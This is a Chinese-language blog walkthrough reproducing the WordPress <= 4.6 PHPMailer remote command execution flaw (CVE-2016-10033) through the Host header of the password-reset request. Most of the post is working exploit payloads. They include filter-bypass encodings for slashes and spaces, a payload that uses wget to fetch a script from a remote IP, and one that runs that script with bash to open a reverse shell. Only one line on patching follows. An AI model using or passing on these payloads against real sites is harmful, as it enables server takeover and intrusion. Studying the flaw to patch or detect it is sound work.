WordPress 4.6(PHPMailer)命令執行漏洞 (CVE-2016-10033)

WordPress <= 4.6(PHPMailer)命令執行漏洞(CVE-2016-10033)

漏洞概述:

  • 當WordPress 使用 PHPMailer 組件向用戶發送郵件。攻擊者在找回密碼時會使用PHPmailer發送重置密碼的郵件,利用substr(字符串截取函數)、$run(系統調用函數)等構造payload,即可進行遠程命令執行。

漏洞版本:

  • WordPress <= 4.6.0
  • PHPMailer < 5.2.18

漏洞原理:

  • 主要是phpmailer組件調用linux系統命令sendmail進行郵件發送,通過傳入的SERVER_NAME獲取主機名(即請求host值),而SERVER_NAME沒有經過任何過濾,從而產生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函數等進入繞過,構造payload。

漏洞搭建:

漏洞復現:

  • 首先進行payload構造:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/1.php}} null) //在/tmp下創建一個1.php
  • 要注意以下四點
1,URL 中不要有 http://
2,字母必須要小寫
3,所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
4,所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
  • 進行轉換後
 aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}1.php}} null)
  • 下面開始正題,漏洞存在密碼找回頁面在這裏插入圖片描述
    然後輸入用戶名cat,然後使用BurpSuite抓包攔截,修改host的值爲下面payload,可發現已生成該文件
    在這裏插入圖片描述
  • 反彈shell,可以利用curl或者wget命令下載遠程文件,然後執行該文件,即可getshell

下載

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.2.109/1.txt}} null)
轉換
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.2.109${substr{0}{1}{$spool_directory}}1.txt}} null)

在這裏插入圖片描述
運行
先本地監聽,然後運行,即可getshell

aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
轉換
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

在這裏插入圖片描述

漏洞修復:

  • 更新wordpress、phpmailer到最新版本。

ps:餘生很長,請多指教。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章